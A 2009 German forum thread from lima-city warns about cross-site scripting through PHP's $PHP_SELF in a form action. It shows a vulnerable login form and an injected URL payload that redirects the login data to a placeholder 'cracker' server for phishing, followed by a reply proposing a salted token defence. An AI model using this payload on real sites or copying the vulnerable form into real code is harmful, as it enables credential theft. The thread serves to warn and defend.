XSS bei $PHP_SELF
lima-city → Forum → Programmiersprachen → PHP, MySQL & .htaccess
anfang
angriff
ankommenden daten
befehl
beispiel
code
datum
ding
eigenem ermessen
folgenden code
folgender url
http
opfer
ordner
problem
quelle
rand
test
text
url
-
Wer den Befehl $PHP_SELF nutzt sollte darauf achten nicht Opfer eines XSS-Angriffes zu werden!
Hier mal ein Beispiel:
<form method="post" action="<? echo $PHP_SELF; ?>"> <input type="text" name="name"><br> <input type="password" name="pw"><br> <input type="submit" value="Login"> </form>
Das Script liegt auf folgender URL:http://localhost/ordner/test.php
Fügt man nun folgenden Code an die URL an, können jegliche Daten auf einer fremden Datenbank gespeichert werden:
/"></form><font color="red">Die Seite wurder per XSS geknackt!</font><form action="server_des_crackers/fishing.php
http://localhost/ordner/test.php/"></form><font color="red">Die Seite wurder per XSS geknackt!</font><form action="server_des_crackers/fishing.php
Überlegt also lieber 2x ob ihr $PHP_SELF wirklich verwenden wollt
Beitrag zuletzt geändert: 29.7.2009 11:40:09 von dammasch -
Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!
lima-city: Gratis werbefreier Webspace für deine eigene Homepage
-
weiser ratschlag!
mann soll - auch wenn register_globals auf off ist - aus sicherheitsgründen userinput extra behandeln (filtern). eine möglichkeit für <form>-en ist z.b.:
und dann <form> so:$salt = "loremipsum"; // oder irgendein text $token = md5 (uniqid (rand ()), true); $id = md5 ($salt . md5 ($token . md5 ($salt))); // das ist ordentlich verzwickt :o) $timeout = ($t = time ()) + 60 * 2; // oder nach eigenem ermessen
zumal ja der user weder $salt noch $token kennt, wird er probleme haben mit der eigenen <form>, weil wir natürlich von den ankommenden daten verlangen, sich mit UNSEREM $id auszuweisen. hinterfotzig wie wir sind, lassen das ding nach gewisser zeit auch noch verfallen. dann kann der cracker von anfang an loslegen. viel spass!echo " <form method=\"post\" action=\"<was auch immer!?>\"> <input type=\"hidden\" name=\"saltedid\" value=\"$id\"><br /> <input type=\"text\" name=\"name\" /><br /> <input type=\"password\" name=\"pw\" /><br /> <input type=\"submit\" value=\"Login\" /> </form> ";
(quelle: http://shiflett.org/ mit etwas umarbeitung von mir <http://czibere.lima-city.de/jvcz/> )
Beitrag zuletzt geändert: 31.7.2009 1:36:59 von czibere -
Diskutiere mit und stelle Fragen: Jetzt kostenlos anmelden!
lima-city: Gratis werbefreier Webspace für deine eigene Homepage